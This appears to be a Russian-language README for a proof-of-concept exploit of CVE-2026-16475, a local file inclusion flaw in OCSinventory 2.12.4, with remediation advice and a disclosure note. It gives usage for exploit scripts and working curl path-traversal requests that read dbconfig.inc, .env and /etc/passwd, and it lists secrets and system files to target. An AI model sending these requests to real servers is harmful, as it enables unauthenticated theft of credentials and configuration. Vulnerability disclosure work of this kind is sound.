CVE-2026-16475 - OCSinventory LFI PoC

Уязвимость Local File Inclusion в OCSinventory 2.12.4

Детали уязвимости

CVE ID: CVE-2026-16475
Оценка CVSS: 6.9 (Средняя)
CWE: CWE-98 (Некорректный контроль имени файла для инструкции Include/Require в PHP-программе)
Затронутая версия: OCSinventory 2.12.4
Статус: Исправлено в последних версиях

Описание

Уязвимость локального включения файлов (Local File Inclusion, LFI) существует в конечной точке /ajax/teledeployoptions.php из-за некорректной очистки параметра linkedoptions перед его использованием в операции динамического включения XML-файлов.

Конечная точка предназначена для загрузки XML-файлов конфигурации, но не проверяет должным образом параметр linkedoptions, что позволяет проводить атаки с обходом пути (path traversal).

Неаутентифицированный удалённый злоумышленник может использовать эту уязвимость для:

• Включения и получения доступа к произвольным XML-файлам в каталоге приложения
• Чтения не-XML-файлов через сообщения об ошибках XML-парсера
• Раскрытия чувствительной информации о внутренних ресурсах приложения
• Перечисления системных файлов и определения типа ОС (OS fingerprinting)

Воздействие

• Конфиденциальность: ВЫСОКАЯ - Доступ к произвольным файлам (конфигурационные файлы, исходный код, журналы, системные файлы)
• Целостность: НЕТ
• Доступность: НЕТ
• Требуется аутентификация: НЕТ
• Взаимодействие с пользователем: НЕТ

Использование

Предварительные требования

pip install -r requirements.txt

Версия на Python (рекомендуется)

python3 exploit.py -u http://target.com -v

Опции:

• -u, --url - Целевой URL (обязательно)
• -v, --verbose - Подробный вывод
• -o, --output - Сохранить успешно прочитанные данные в файл

Пример:

python3 exploit.py -u http://ocs.example.com -v -o results.txt

Версия на Bash

./lfi_test.sh

Отредактируйте переменную BASE_URL в скрипте:

BASE_URL="http://target.com/ajax/teledeployoptions.php"

Цели перечисления

• Конфигурационные файлы приложения (dbconfig.inc, .env, config.inc)
• Рабочие XML-файлы (bashscriptopt, executableopt, msiapplicationopt)
• Системные журналы (apache2, mysql, auth)
• Системные файлы (/proc/, /etc/)
• Секреты приложения (composer, файлы пакетов, .htaccess)

Пример эксплуатации

# Read database config
curl "http://target/ajax/teledeployoptions.php?os=test&linkedoptions=../../../dbconfig.inc"

# Read passwd file
curl "http://target/ajax/teledeployoptions.php?os=test&linkedoptions=../../../../../../../../etc/passwd"

# Read environment file
curl "http://target/ajax/teledeployoptions.php?os=test&linkedoptions=../../../.env"

Устранение уязвимости

Для пользователей:

• Немедленно обновите OCSinventory до последней версии
• Внедрите правила WAF для блокировки паттернов обхода каталогов

Для разработчиков:

• Используйте basename() или аналогичные функции для предотвращения обхода пути
• Проверяйте и очищайте все пользовательские входные данные перед выполнением файловых операций
• Внедрите надлежащий контроль доступа
• Используйте списки разрешённых (allow-lists) для допустимых путей к файлам

Ссылки

• Консультация INCIBE (ES) - Официальный орган по координации CVE
• OCS Inventory GitHub
• OWASP Path Traversal
• Определение CWE-98

Примечание: CVE-2026-16475 координируется через INCIBE и может ещё не быть проиндексирован в NVD. Обращайтесь к источнику INCIBE для получения авторитетной информации.

Правовая информация

Только для образовательных целей и авторизованного тестирования

Полное юридическое уведомление см. в DISCLAIMER.md.

Автор

Adrián Ferrer Tarí

Ответственное раскрытие координируется через INCIBE